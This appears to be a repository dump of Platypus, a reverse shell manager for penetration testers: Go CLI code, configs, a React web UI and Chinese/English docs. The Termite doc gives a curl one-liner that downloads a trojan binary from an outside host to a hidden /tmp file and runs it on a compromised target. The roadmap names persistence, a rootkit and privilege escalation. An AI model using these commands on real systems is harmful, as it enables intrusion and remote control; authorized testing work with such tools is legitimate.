"fmt" 5 | "strings" 6 | 7 | "github.com/WangYihang/Platypus/internal/utils/log" 8 | "github.com/WangYihang/Platypus/internal/utils/reflection" 9 | ) 10 | 11 | func (dispatcher commandDispatcher) Help(args []string) { 12 | methods := reflection.GetAllMethods(commandDispatcher{}) 13 | if len(args) == 0 { 14 | fmt.Println("Usage: ") 15 | fmt.Println("\tHelp [COMMANDS]") 16 | fmt.Println("Commands: ") 17 | for _, method := range methods { 18 | if strings.HasSuffix(method, "Desc") { 19 | reflection.Invoke(commandDispatcher{}, method, []string{}) 20 | } 21 | } 22 | } else { 23 | method := args[0] 24 | helpMethod := args[0] + "Help" 25 | if reflection.Contains(methods, method) && reflection.Contains(methods, helpMethod) { 26 | reflection.Invoke(commandDispatcher{}, helpMethod, []string{}) 27 | } else { 28 | log.Error("No such command, use `Help` to get more information") 29 | } 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /docs/platypus/blog/2021-08-26-welcome/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | slug: welcome 3 | title: Welcome 4 | authors: [slorber, yangshun] 5 | tags: [facebook, hello, docusaurus] 6 | --- 7 | 8 | [Docusaurus blogging features](https://docusaurus.io/docs/blog) are powered by the [blog plugin](https://docusaurus.io/docs/api/plugins/@docusaurus/plugin-content-blog). 9 | 10 | Here are a few tips you might find useful. 11 | 12 | 13 | 14 | Simply add Markdown files (or folders) to the `blog` directory. 15 | 16 | Regular blog authors can be added to `authors.yml`. 17 | 18 | The blog post date can be extracted from filenames, such as: 19 | 20 | - `2019-05-30-welcome.md` 21 | - `2019-05-30-welcome/index.md` 22 | 23 | A blog post folder can be convenient to co-locate blog post images: 24 | 25 | ![Docusaurus Plushie](./docusaurus-plushie-banner.jpeg) 26 | 27 | The blog supports tags as well! 28 | 29 | **And if you don't want a blog**: just delete this directory, and use `blog: false` in your Docusaurus config. 30 | -------------------------------------------------------------------------------- /web/frontend/src/components/SaveButton/index.jsx: -------------------------------------------------------------------------------- 1 | import axios from 'axios' 2 | import React, { Component } from 'react' 3 | 4 | export default class SaveButton extends Component { 5 | 6 | postSaveData=()=>{ 7 | if (this.props.hasCreate){ 8 | axios 9 | .post([this.props.rbacUrl, "/roleAccesses"].join(""),{"rolename":this.props.leftName,"accesses":this.props.rightList}) 10 | .then((response)=>{ 11 | this.props.refreshFunc() 12 | }) 13 | .catch( 14 | // 15 | ) 16 | }else{ 17 | axios 18 | .post([this.props.rbacUrl, "/userRoles"].join(""),{"username":this.props.leftName,"roles":this.props.rightList}) 19 | .then((response)=>{ 20 | this.props.refreshFunc() 21 | }) 22 | .catch( 23 | // 24 | ) 25 | } 26 | 27 | 28 | } 29 | 30 | render() { 31 | return ( 32 | 33 | 34 | ) 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /docs/platypus/docs/dev-guide/design/RESTful.md: -------------------------------------------------------------------------------- 1 | # RESTful API 2 | 3 | Platypus supports RESTful API to perform common operations. Almost all 4 | operations you can use in cli mode also can be accomplished via RESTful API. 5 | Here are all supported RESTful APIs. You can use them to build your frontend 6 | applications. 7 | 8 | * `GET /server` List all listening servers and its' related clients 9 | * `GET /server/:hash` List a specific server 10 | * `GET /server/:hash/client` List all clients of a specific server 11 | * `POST /server` Create a reverse shell server 12 | * `host` The host you want the server to listen on 13 | * `port` The port you want the server to listen on 14 | * `DELETE /server/:hash` Stop a reverse shell server 15 | * `GET /client` List all online clients 16 | * `GET /client/:hash` List a specific client 17 | * `DELETE /client/:hash` Delete a reverse shell client 18 | * `POST /client/:hash` Execute a system command on the specific client 19 | * `cmd` The command you want the client to execute 20 | 21 | -------------------------------------------------------------------------------- /internal/context/sig_darwin.go: -------------------------------------------------------------------------------- 1 | package context 2 | 3 | import ( 4 | "os" 5 | "os/signal" 6 | "syscall" 7 | 8 | "github.com/WangYihang/Platypus/internal/utils/ui" 9 | "golang.org/x/term" 10 | ) 11 | 12 | func Signal() { 13 | // Capture Signal 14 | c := make(chan os.Signal) 15 | signal.Notify( 16 | c, 17 | syscall.SIGTSTP, 18 | syscall.SIGTERM, 19 | os.Interrupt, 20 | syscall.SIGWINCH, 21 | ) 22 | 23 | go func() { 24 | for { 25 | switch sig := <-c; sig { 26 | case syscall.SIGTSTP: 27 | if ui.PromptYesNo("syscall.SIGTERM, Exit?") { 28 | Shutdown() 29 | } 30 | case syscall.SIGTERM: 31 | if ui.PromptYesNo("syscall.SIGTERM, Exit?") { 32 | Shutdown() 33 | } 34 | case os.Interrupt: 35 | if ui.PromptYesNo("os.Interrupt, Exit?") { 36 | Shutdown() 37 | } 38 | case syscall.SIGWINCH: 39 | if Ctx.CurrentTermite != nil { 40 | columns, rows, _ := term.GetSize(0) 41 | Ctx.CurrentTermite.NotifyPlatypusWindowSize(columns, rows) 42 | } 43 | } 44 | } 45 | }() 46 | } 47 | -------------------------------------------------------------------------------- /internal/context/sig_linux.go: -------------------------------------------------------------------------------- 1 | package context 2 | 3 | import ( 4 | "os" 5 | "os/signal" 6 | "syscall" 7 | 8 | "github.com/WangYihang/Platypus/internal/utils/ui" 9 | "golang.org/x/term" 10 | ) 11 | 12 | func Signal() { 13 | // Capture Signal 14 | c := make(chan os.Signal) 15 | signal.Notify( 16 | c, 17 | syscall.SIGTSTP, 18 | syscall.SIGTERM, 19 | os.Interrupt, 20 | syscall.SIGWINCH, 21 | ) 22 | 23 | go func() { 24 | for { 25 | switch sig := <-c; sig { 26 | case syscall.SIGTSTP: 27 | if ui.PromptYesNo("syscall.SIGTERM, Exit?") { 28 | Shutdown() 29 | } 30 | case syscall.SIGTERM: 31 | if ui.PromptYesNo("syscall.SIGTERM, Exit?") { 32 | Shutdown() 33 | } 34 | case os.Interrupt: 35 | if ui.PromptYesNo("os.Interrupt, Exit?") { 36 | Shutdown() 37 | } 38 | case syscall.SIGWINCH: 39 | if Ctx.CurrentTermite != nil { 40 | columns, rows, _ := term.GetSize(0) 41 | Ctx.CurrentTermite.NotifyPlatypusWindowSize(columns, rows) 42 | } 43 | } 44 | } 45 | }() 46 | } 47 | -------------------------------------------------------------------------------- /pkg/options/options.go: -------------------------------------------------------------------------------- 1 | package options 2 | 3 | import ( 4 | "github.com/WangYihang/Platypus/pkg/version" 5 | "github.com/jessevdk/go-flags" 6 | ) 7 | 8 | // Options represents the command line options 9 | type Options struct { 10 | RemoteHost string `short:"h" long:"host" description:"Remote host" required:"true"` 11 | RemotePort int `short:"p" long:"port" description:"Remote port" required:"true"` 12 | Token string `short:"t" long:"token" description:"API token" required:"true"` 13 | Environment string `short:"e" long:"env" description:"Environment" required:"true" choice:"development" choice:"staging" choice:"production" default:"production"` 14 | Version func() `short:"v" long:"version" description:"Print version information and exit"` 15 | } 16 | 17 | // InitOptions initializes the command line options 18 | func InitOptions() (*Options, error) { 19 | var opts = Options{ 20 | Version: func() { 21 | version.PrintVersion() 22 | }, 23 | } 24 | _, err := flags.Parse(&opts) 25 | if err != nil { 26 | return nil, err 27 | } 28 | return &opts, nil 29 | } 30 | -------------------------------------------------------------------------------- /internal/cli/dispatcher/pty.go: -------------------------------------------------------------------------------- 1 | package dispatcher 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/WangYihang/Platypus/internal/context" 7 | "github.com/WangYihang/Platypus/internal/utils/log" 8 | ) 9 | 10 | func (dispatcher commandDispatcher) PTY(args []string) { 11 | if context.Ctx.Current == nil { 12 | log.Error("The current client is not set, please use `Jump` to set the current client") 13 | return 14 | } 15 | if err := context.Ctx.Current.EstablishPTY(); err != nil { 16 | log.Error("Establish PTY failed: %s", err) 17 | } 18 | } 19 | 20 | func (dispatcher commandDispatcher) PTYHelp(args []string) { 21 | fmt.Println("Usage of PTY") 22 | fmt.Println("\tFirst use `Jump` to select a client, then type `PTY`, then type `Interact` to drop into a fully interactive shell.") 23 | fmt.Println("\tYou can just simply type `exit` to exit pty mode") 24 | } 25 | 26 | func (dispatcher commandDispatcher) PTYDesc(args []string) { 27 | fmt.Println("PTY") 28 | fmt.Println("\tTry to Spawn '/bin/bash' via Python, then the shell is fully interactive (You can use vim / htop and other stuffs)") 29 | } 30 | -------------------------------------------------------------------------------- /docs/platypus/docs/index.zh.md: -------------------------------------------------------------------------------- 1 | # 简介 2 | 3 | !!! Notice 4 | 本文档对应 [Platypus v1.5.0](https://github.com/WangYihang/Platypus/releases/tag/v1.5.0) 5 | 6 | ## Platypus 是什么? 7 | 8 | Platypus 是一款支持**多会话**的**交互式**反向 Shell 管理器。 9 | 10 | 在实际的渗透测试中,为了解决 Netcat/Socat 等工具在文件传输、多会话管理方面的不足。该工具在多会话管理的基础上增加了在渗透测试中更加有用的功能(如:**交互式 Shell**、**文件操作**、**隧道**等),可以更方便灵活地对反向 Shell 会话进行管理。 11 | 12 | ## Platypus 解决的痛点有哪些? 13 | 14 | 作为一名渗透测试工程师: 15 | 16 | * 您是否遇到过下图中的情况?辛辛苦苦拿到的 Shell 被一个不小心按下的 ++ctrl+c++ 杀掉。 17 | 18 | ![](./images/netcat.png) 19 | 20 | * 您是否苦于 netcat 无法方便地在反向 Shell 中上传和下载文件? 21 | * 您是否还在苦苦铭记那些冗长繁琐的反向 Shell 的命令? 22 | * 您是否还在为您的每一个 Shell 开启一个新的 netcat 端口进行监听? 23 | 24 | 如果您曾经遇到并且苦于上述的情景,那么 [Platypus](https://github.com/WangYihang/Platypus) 将会是您的好伙伴!快来[上手](./getting-started.md)尝试一下吧! 25 | 26 | ## Platypus 未来计划是什么? 27 | 28 | - [ ] 为 Termite 添加列目录功能 29 | - [ ] 为 Termite 添加 Windows 支持 30 | - [ ] RESTful API 添加认证功能 31 | - [ ] 重新设计 Web UI 32 | - [ ] 记录用户与 Shell 的交互,日后可以回放复盘(类似 [asciinema](https://asciinema.org/)) 33 | - [ ] 添加主机发现等其他后渗透功能 34 | - [ ] 多层 Termite 级联 35 | - [ ] 集成提权功能 36 | - [ ] 持久化 37 | - [ ] 集成 rootkie 38 | - [ ] 提供一键升级 Metepreter -------------------------------------------------------------------------------- /docs/platypus/docs/index.md: -------------------------------------------------------------------------------- 1 | # Overview 2 | 3 | :::note 4 | 本文档对应 [Platypus v1.5.0](https://github.com/WangYihang/Platypus/releases/tag/v1.5.0) 5 | ::: 6 | 7 | ## What is Platypus? 8 | 9 | Platypus 是一款支持**多会话**的**交互式**反向 Shell 管理器。 10 | 11 | 在实际的渗透测试中,为了解决 Netcat/Socat 等工具在文件传输、多会话管理方面的不足。该工具在多会话管理的基础上增加了在渗透测试中更加有用的功能(如:**交互式 Shell**、**文件操作**、**隧道**等),可以更方便灵活地对反向 Shell 会话进行管理。 12 | 13 | ## Platypus 解决的痛点有哪些? 14 | 15 | 作为一名渗透测试工程师: 16 | 17 | * 您是否遇到过下图中的情况?辛辛苦苦拿到的 Shell 被一个不小心按下的 ++ctrl+c++ 杀掉。 18 | 19 | ![](./images/netcat.png) 20 | 21 | * 您是否苦于 netcat 无法方便地在反向 Shell 中上传和下载文件? 22 | * 您是否还在苦苦铭记那些冗长繁琐的反向 Shell 的命令? 23 | * 您是否还在为您的每一个 Shell 开启一个新的 netcat 端口进行监听? 24 | 25 | 如果您曾经遇到并且苦于上述的情景,那么 [Platypus](https://github.com/WangYihang/Platypus) 将会是您的好伙伴!快来[上手](./getting-started.md)尝试一下吧! 26 | 27 | ## Platypus 未来计划是什么? 28 | 29 | - [ ] 为 Termite 添加列目录功能 30 | - [ ] 为 Termite 添加 Windows 支持 31 | - [ ] RESTful API 添加认证功能 32 | - [ ] 重新设计 Web UI 33 | - [ ] 记录用户与 Shell 的交互,日后可以回放复盘(类似 [asciinema](https://asciinema.org/)) 34 | - [ ] 添加主机发现等其他后渗透功能 35 | - [ ] 多层 Termite 级联 36 | - [ ] 集成提权功能 37 | - [ ] 持久化 38 | - [ ] 集成 rootkie 39 | - [ ] 提供一键升级 Metepreter -------------------------------------------------------------------------------- /internal/utils/config/config.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | type Config struct { 4 | Servers []struct { 5 | Host string `yaml:"host"` 6 | Port uint16 `yaml:"port"` 7 | HashFormat string `yaml:"hashFormat"` 8 | Encrypted bool `yaml:"encrypted"` 9 | DisableHistory bool `yaml:"disable_history"` 10 | PublicIP string `yaml:"public_ip"` 11 | ShellPath string `yaml:"shell_path"` 12 | } 13 | RESTful struct { 14 | Host string `yaml:"host"` 15 | Port uint16 `yaml:"port"` 16 | Enable bool `yaml:"enable"` 17 | JWTRefreshKey string `yaml:"JWTRefreshKey"` 18 | JWTAccessKey string `yaml:"JWTAccessKey"` 19 | RefreshExpireTime int `yaml:"RefreshExpireTime"` 20 | AccessExpireTime int `yaml:"AccessExpireTime"` 21 | DBFile string `yaml:"DBFile"` 22 | Domain string `yaml:"Domain"` // 公网IP 23 | } 24 | Distributor struct { 25 | Host string `yaml:"host"` 26 | Port uint16 `yaml:"port"` 27 | Url string `yaml:"url"` 28 | } 29 | Update bool `yaml:"update"` 30 | OpenBrowser bool `yaml:"openBrowser"` 31 | } 32 | -------------------------------------------------------------------------------- /internal/utils/crypto/aes.go: -------------------------------------------------------------------------------- 1 | package crypto 2 | 3 | import ( 4 | "crypto/aes" 5 | "crypto/cipher" 6 | "crypto/rand" 7 | "errors" 8 | "io" 9 | ) 10 | 11 | func Encrypt(key []byte, plainText []byte) ([]byte, error) { 12 | block, err := aes.NewCipher(key) 13 | if err != nil { 14 | return []byte{}, err 15 | } 16 | cipherText := make([]byte, aes.BlockSize+len(plainText)) 17 | iv := cipherText[:aes.BlockSize] 18 | if _, err = io.ReadFull(rand.Reader, iv); err != nil { 19 | return []byte{}, err 20 | } 21 | stream := cipher.NewCFBEncrypter(block, iv) 22 | stream.XORKeyStream(cipherText[aes.BlockSize:], plainText) 23 | return cipherText, nil 24 | } 25 | 26 | func Decrypt(key []byte, securemess []byte) ([]byte, error) { 27 | block, err := aes.NewCipher(key) 28 | if err != nil { 29 | return []byte{}, err 30 | } 31 | if len(securemess) < aes.BlockSize { 32 | return []byte{}, errors.New("Cipher too short") 33 | } 34 | iv := securemess[:aes.BlockSize] 35 | cipherText := securemess[aes.BlockSize:] 36 | stream := cipher.NewCFBDecrypter(block, iv) 37 | stream.XORKeyStream(cipherText, cipherText) 38 | return cipherText, nil 39 | } 40 | -------------------------------------------------------------------------------- /docs/platypus/src/css/custom.css: -------------------------------------------------------------------------------- 1 | /** 2 | * Any CSS included here will be global. The classic template 3 | * bundles Infima by default. Infima is a CSS framework designed to 4 | * work well for content-centric websites. 5 | */ 6 | 7 | /* You can override the default Infima variables here. */ 8 | :root { 9 | --ifm-color-primary: #2e8555; 10 | --ifm-color-primary-dark: #29784c; 11 | --ifm-color-primary-darker: #277148; 12 | --ifm-color-primary-darkest: #205d3b; 13 | --ifm-color-primary-light: #33925d; 14 | --ifm-color-primary-lighter: #359962; 15 | --ifm-color-primary-lightest: #3cad6e; 16 | --ifm-code-font-size: 95%; 17 | --docusaurus-highlighted-code-line-bg: rgba(0, 0, 0, 0.1); 18 | } 19 | 20 | /* For readability concerns, you should choose a lighter palette in dark mode. */ 21 | [data-theme='dark'] { 22 | --ifm-color-primary: #25c2a0; 23 | --ifm-color-primary-dark: #21af90; 24 | --ifm-color-primary-darker: #1fa588; 25 | --ifm-color-primary-darkest: #1a8870; 26 | --ifm-color-primary-light: #29d5b0; 27 | --ifm-color-primary-lighter: #32d8b4; 28 | --ifm-color-primary-lightest: #4fddbf; 29 | --docusaurus-highlighted-code-line-bg: rgba(0, 0, 0, 0.3); 30 | } 31 | -------------------------------------------------------------------------------- /.air.toml: -------------------------------------------------------------------------------- 1 | root = "." 2 | testdata_dir = "testdata" 3 | tmp_dir = "tmp" 4 | 5 | [build] 6 | args_bin = [] 7 | bin = "./tmp/platypus-server" 8 | cmd = "go build -o ./tmp/platypus-server cmd/platypus-server/main.go" 9 | delay = 1000 10 | exclude_dir = ["assets", "tmp", "vendor", "testdata", "web", "docs", ".github"] 11 | exclude_file = [] 12 | exclude_regex = ["_test.go"] 13 | exclude_unchanged = false 14 | follow_symlink = false 15 | full_bin = "" 16 | include_dir = [] 17 | include_ext = ["go", "tpl", "tmpl", "html"] 18 | include_file = [] 19 | kill_delay = "0s" 20 | log = "build-errors.log" 21 | poll = false 22 | poll_interval = 0 23 | post_cmd = [] 24 | pre_cmd = [] 25 | rerun = false 26 | rerun_delay = 500 27 | send_interrupt = false 28 | stop_on_error = false 29 | 30 | [color] 31 | app = "" 32 | build = "yellow" 33 | main = "magenta" 34 | runner = "green" 35 | watcher = "cyan" 36 | 37 | [log] 38 | main_only = false 39 | time = false 40 | 41 | [misc] 42 | clean_on_exit = false 43 | 44 | [proxy] 45 | app_port = 0 46 | enabled = false 47 | proxy_port = 0 48 | 49 | [screen] 50 | clear_on_rebuild = false 51 | keep_scroll = true 52 | -------------------------------------------------------------------------------- /docs/platypus/docs/user-guide/basic/termite.md: -------------------------------------------------------------------------------- 1 | # Termite 2 | 3 | ## Termite 是什么? 4 | 5 | Termite 是 Platypus 提供的一个二进制客户端,提供了多种有用功能,如: 6 | 7 | * 完全交互式 Shell(使用就像 SSH 一样丝滑),并且可以同时启动多个 Shell 而互不影响。 8 | * 4 种不同的[隧道](./tunnel.md)功能 9 | * 更加稳定可靠的文件操作 10 | 11 | ## 直接获取 Termite Shell 12 | 13 | 当您在目标网站已经发现了一个远程命令执行漏洞的时候,可以执行通过执行如下命令直接生成 Termite Shell。 14 | 15 | !!! Hint 16 | 为了压缩 Termite 客户端的尺寸,建议您安装 upx 并将其所在路径追加至环境变量 `$PATH` 中,以便 Platypus 对其调用对 Termite 进行压缩(Ubuntu 可以直接使用 `sudo apt install upx` 进行安装)。 17 | 18 | ```bash 19 | curl -fsSL http://1.3.3.7:13339/termite/1.3.3.7:13337 -o /tmp/.H0Z9 && chmod +x /tmp/.H0Z9 && /tmp/.H0Z9 20 | ``` 21 | 22 | ## 升级至 Termite(推荐) 23 | 24 | 当您已经获得了一个反向 Shell 之后,强烈建议您使用 `Upgrade` 命令将其升级为更稳定可靠并且提供加密机制等其他非常有用的功能的 Termite Shell。 25 | 26 | !!! Termite 27 | Termite 是 Platypus 的二进制木马,提供流量加密、交互式 Shell 等功能。 28 | 29 | 当您已经使用 `Jump` 命令跳转到目标 Shell 之后,您可以使用如下命令来将当前的明文 Shell 提升为更加可靠的 Termite,稍等片刻,您将会看到一个带有 `[Encrypted]` 标记的 Shell 上线。 30 | 31 | ``` 32 | » Jump d2958c94f5425eb709fb5c8690128268 33 | » Upgrade 1.3.3.7:13337 34 | ``` 35 | 36 | 您也可以通过 Web 界面来升级到 Termite。 37 | 38 | ![](/images/webui/upgrade.gif) 39 | 40 | 与 Termite 交互的逻辑与通常的反向 Shell 一致,即:`Jump` 然后 `Interact`。 41 | -------------------------------------------------------------------------------- /web/frontend/src/components/BeforeAuth/index.css: -------------------------------------------------------------------------------- 1 | * { 2 | margin: 0; 3 | padding: 0; 4 | } 5 | 6 | /* body { 7 | display: flex; 8 | flex-direction: column; 9 | justify-content: center; 10 | align-items: center; 11 | height: 100vh; 12 | background-size: cover; 13 | } */ 14 | 15 | 16 | .box { 17 | 18 | border-radius: 20px; 19 | display: flex; 20 | flex-direction: column; 21 | justify-content: center; 22 | align-items: center; 23 | /* width: 350px; 24 | height: 380px; */ 25 | border-top: 1px solid rgba(255,255,255,0.5); 26 | border-left: 1px solid rgba(255,255,255,0.5); 27 | border-bottom: 1px solid rgba(255,255,255,0.2); 28 | border-right: 1px solid rgba(255,255,255,0.2); 29 | backdrop-filter: blur(10px); 30 | background: rgba(50,50,50,0.2); 31 | } 32 | 33 | .box > h2 { 34 | color: rgba(255,255,255,0.9); 35 | margin-bottom: 20px; 36 | } 37 | 38 | .box .input-box { 39 | display: flex; 40 | flex-direction: column; 41 | justify-content: center; 42 | align-items: start; 43 | margin-bottom: 10px; 44 | } 45 | 46 | .box .input-box > label { 47 | margin-bottom: 5px; 48 | color: rgba(255,255,255,0.9); 49 | font-size: 13px; 50 | } -------------------------------------------------------------------------------- /docs/platypus/docs/user-guide/basic/interact.md: -------------------------------------------------------------------------------- 1 | # 交互式 Shell 2 | 3 | !!! Warning 4 | 由于 Windows 并未提供类似 Linux 伪终端的概念,因此 Platypus 暂不支持获取 Windows 的交互式 Shell。 5 | 6 | Platypus 提供 2 种方式实现交互式 Shell。 7 | 8 | ## 方案一:Termite(推荐) 9 | 10 | !!! Tips 11 | Termite 客户端是 Platypus 特有的客户端,支持交互式 Shell、文件传输以及网络隧道等功能,您可以参考本文来了解关于如何获取 Termite Shell 以及 [Termite](./termite.md) 的更多信息。 12 | 13 | 与哈希为 `134dd4cad7b110a021d46bd9dfe68d62` 的 Termite 客户端交互。 14 | 15 | ``` 16 | » Jump 134dd4cad7b110a021d46bd9dfe68d62 17 | » Interact 18 | ``` 19 | 20 | 暂时终止与当前 Shell 交互。 21 | 22 | ``` 23 | exit 24 | ``` 25 | 26 | ## 方案二:`PTY`(不推荐) 27 | 28 | 与哈希为 `134dd4cad7b110a021d46bd9dfe68d62` 的客户端交互。 29 | 30 | ``` 31 | » Jump 134dd4cad7b110a021d46bd9dfe68d62 32 | » PTY 33 | » Interact 34 | ``` 35 | 36 | !!! Tips 37 | 本功能的实现逻辑参考自[本文](https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/),本质是在目标机器上执行 `pty.spawn("/bin/bash")`,然后通过将攻击者的终端设置为 `raw` 模式来实现交互式 Shell。 38 | 39 | 40 | 暂时终止与当前 Shell 交互。 41 | 42 | !!! Tips 43 | 由于 Platypus 需要提供**暂时终止与当前 Shell 进行交互**的功能,另外在裸 Shell 中我们很难去判断用户输入 `exit` 时,是否是对 `shell` 进行操作的(如:用户在 `vim` 中输入 `exit`),所以就不能通过用户是否输入 `exit` 来判断用户是否想要终止与当前 Shell 进行交互,因此 Platypus 定义了自己的退出命令 `platyquit` 44 | 45 | ``` 46 | platyquit 47 | ``` 48 | 49 | -------------------------------------------------------------------------------- /web/frontend/src/components/SideBar/ServersList/SingleServer.js: -------------------------------------------------------------------------------- 1 | import React from "react"; 2 | import { Tooltip, Badge } from "antd"; 3 | import { LockOutlined, UnlockOutlined } from '@ant-design/icons'; 4 | 5 | export default class SingleServer extends React.Component { 6 | generateIcon(encrypted) { 7 | let icon; 8 | if (encrypted) { 9 | icon = 10 | 11 | 12 | } else { 13 | icon = 14 | 15 | 16 | } 17 | return icon 18 | } 19 | 20 | generateBadge(count) { 21 | return 26 | } 27 | render() { 28 | return <> 29 | {this.generateIcon(this.props.server.encrypted)} 30 | {this.props.server.host + ":" + this.props.server.port} 31 | {this.generateBadge(Object.keys(this.props.server.clients).length + Object.keys(this.props.server.termite_clients).length)} 32 | ; 33 | } 34 | } 35 | 36 | 37 | -------------------------------------------------------------------------------- /internal/utils/update/update.go: -------------------------------------------------------------------------------- 1 | package update 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | 7 | "github.com/WangYihang/Platypus/internal/utils/log" 8 | "github.com/WangYihang/Platypus/internal/utils/ui" 9 | "github.com/blang/semver" 10 | "github.com/rhysd/go-github-selfupdate/selfupdate" 11 | ) 12 | 13 | const Version = "1.5.1" 14 | 15 | func ConfirmAndSelfUpdate() { 16 | log.Info("Detecting the latest version...") 17 | latest, found, err := selfupdate.DetectLatest("WangYihang/Platypus") 18 | if err != nil { 19 | log.Error("Error occurred while detecting version: %s", err) 20 | return 21 | } 22 | 23 | v := semver.MustParse(Version) 24 | if !found || latest.Version.LTE(v) { 25 | log.Success("Current version is the latest") 26 | return 27 | } 28 | 29 | if !ui.PromptYesNo(fmt.Sprintf("Do you want to update to v%s?", latest.Version)) { 30 | return 31 | } 32 | 33 | exe, err := os.Executable() 34 | if err != nil { 35 | log.Error("Could not locate executable path") 36 | return 37 | } 38 | log.Info("Downloading from %s", latest.AssetURL) 39 | if err := selfupdate.UpdateTo(latest.AssetURL, exe); err != nil { 40 | log.Error("Error occurred while updating binary: %s", err) 41 | return 42 | } 43 | log.Success("Successfully updated to v%s", latest.Version) 44 | } 45 | -------------------------------------------------------------------------------- /internal/runtime/config.example.yml: -------------------------------------------------------------------------------- 1 | servers: 2 | - host: "0.0.0.0" 3 | port: 13337 4 | # Platypus is able to use several properties as unique identifier (primirary key) of a single client. 5 | # All available properties are listed below: 6 | # `%i` IP 7 | # `%u` Username 8 | # `%m` MAC address 9 | # `%o` Operating System 10 | # `%t` Income TimeStamp 11 | hashFormat: "%i %u %m %o" 12 | encrypted: true 13 | disable_history: true 14 | public_ip: "" 15 | - host: "0.0.0.0" 16 | port: 13338 17 | # Using TimeStamp allows us to track all connections from the same IP / Username / OS and MAC. 18 | hashFormat: "%i %u %m %o %t" 19 | disable_history: true 20 | public_ip: "" 21 | restful: 22 | # Because RESTful DO NOT support any authentication mechanism, 23 | # DO NOT expose the restful server into any external network. 24 | host: "127.0.0.1" 25 | port: 7331 26 | # `enable: true` means starting RESTful Server when Platypus starts. 27 | enable: true 28 | # Termite binary distributor 29 | distributor: 30 | host: "0.0.0.0" 31 | port: 13339 32 | url: "http://127.0.0.1:13339" 33 | # Check new releases from GitHub when starting Platypus 34 | update: true 35 | # Open web browser to view the Web-UI on starting 36 | openBrowser: false -------------------------------------------------------------------------------- /internal/utils/fs/file.go: -------------------------------------------------------------------------------- 1 | package fs 2 | 3 | import ( 4 | "net/http" 5 | "os" 6 | "strings" 7 | ) 8 | 9 | func ListFiles(path string) func(string) []string { 10 | return func(line string) []string { 11 | names := make([]string, 0) 12 | files, _ := os.ReadDir(path) 13 | for _, f := range files { 14 | names = append(names, f.Name()) 15 | } 16 | return names 17 | } 18 | } 19 | 20 | // fileExists checks if a file exists and is not a directory before we 21 | // try using it to prevent further errors. 22 | func FileExists(filename string) bool { 23 | info, err := os.Stat(filename) 24 | if os.IsNotExist(err) { 25 | return false 26 | } 27 | return !info.IsDir() 28 | } 29 | 30 | type binaryFileSystem struct { 31 | fs http.FileSystem 32 | } 33 | 34 | func (b *binaryFileSystem) Open(name string) (http.File, error) { 35 | return b.fs.Open(name) 36 | } 37 | 38 | func (b *binaryFileSystem) Exists(prefix string, filepath string) bool { 39 | 40 | if p := strings.TrimPrefix(filepath, prefix); len(p) < len(filepath) { 41 | if _, err := b.fs.Open(p); err != nil { 42 | return false 43 | } 44 | return true 45 | } 46 | return false 47 | } 48 | 49 | func BinaryFileSystem(root string) *binaryFileSystem { 50 | return &binaryFileSystem{ 51 | fs: http.Dir(root), 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /internal/cli/dispatcher/run.go: -------------------------------------------------------------------------------- 1 | package dispatcher 2 | 3 | import ( 4 | "fmt" 5 | "strconv" 6 | 7 | "github.com/WangYihang/Platypus/internal/context" 8 | "github.com/WangYihang/Platypus/internal/utils/log" 9 | ) 10 | 11 | func (dispatcher commandDispatcher) Run(args []string) { 12 | if len(args) != 2 { 13 | log.Error("Arguments error, use `Help Run` to get more information") 14 | dispatcher.RunHelp([]string{}) 15 | return 16 | } 17 | 18 | host := args[0] 19 | port, err := strconv.ParseUint(args[1], 10, 16) 20 | if err != nil { 21 | log.Error("Invalid port: %s, use `Help Run` to get more information", args[1]) 22 | dispatcher.RunHelp([]string{}) 23 | return 24 | } 25 | 26 | server := context.CreateTCPServer(host, uint16(port), "", false, true, "", "") 27 | if server != nil { 28 | go (*server).Run() 29 | } 30 | } 31 | 32 | func (dispatcher commandDispatcher) RunHelp(args []string) { 33 | fmt.Println("Usage of Run") 34 | fmt.Println("\tRun [HOST] [PORT]") 35 | fmt.Println("\tHOST\tTHe host you want to listen on") 36 | fmt.Println("\tPORT\tTHe port you want to listen on") 37 | } 38 | 39 | func (dispatcher commandDispatcher) RunDesc(args []string) { 40 | fmt.Println("Run") 41 | fmt.Println("\tTry to run a server, listening on a port, waiting for client to connect") 42 | } 43 | -------------------------------------------------------------------------------- /.github/workflows/goreleaser.yaml: -------------------------------------------------------------------------------- 1 | name: goreleaser 2 | 3 | on: 4 | push: 5 | tags: 6 | - v* 7 | 8 | permissions: 9 | contents: write 10 | 11 | jobs: 12 | goreleaser: 13 | runs-on: ubuntu-latest 14 | if: startsWith(github.ref, 'refs/tags/') || github.event_name == 'push' && startsWith(github.ref, 'refs/heads/') 15 | steps: 16 | - name: Checkout 17 | uses: actions/checkout@v4 18 | with: 19 | fetch-depth: 0 20 | 21 | - name: Set up Go 22 | uses: actions/setup-go@v5 23 | with: 24 | go-version: '1.22.6' 25 | 26 | - name: Build snapshot version 27 | if: ${{ ! startsWith(github.ref, 'refs/tags/') }} 28 | uses: goreleaser/goreleaser-action@v6 29 | with: 30 | distribution: goreleaser 31 | version: latest 32 | args: build --snapshot --clean 33 | env: 34 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 35 | 36 | - name: Run GoReleaser for release 37 | if: ${{ startsWith(github.ref, 'refs/tags/') }} 38 | uses: goreleaser/goreleaser-action@v6 39 | with: 40 | distribution: goreleaser 41 | version: latest 42 | args: release --clean 43 | env: 44 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 45 | -------------------------------------------------------------------------------- /internal/cli/dispatcher/rest.go: -------------------------------------------------------------------------------- 1 | package dispatcher 2 | 3 | import ( 4 | "fmt" 5 | "strconv" 6 | 7 | "github.com/WangYihang/Platypus/internal/context" 8 | "github.com/WangYihang/Platypus/internal/utils/log" 9 | ) 10 | 11 | func (dispatcher commandDispatcher) REST(args []string) { 12 | if len(args) != 2 { 13 | log.Error("Arguments error, use `Help REST` to get more information") 14 | dispatcher.RESTHelp([]string{}) 15 | return 16 | } 17 | 18 | host := args[0] 19 | port, err := strconv.Atoi(args[1]) 20 | if err != nil { 21 | log.Error("Invalid port: %s, use `Help REST` to get more information", args[1]) 22 | 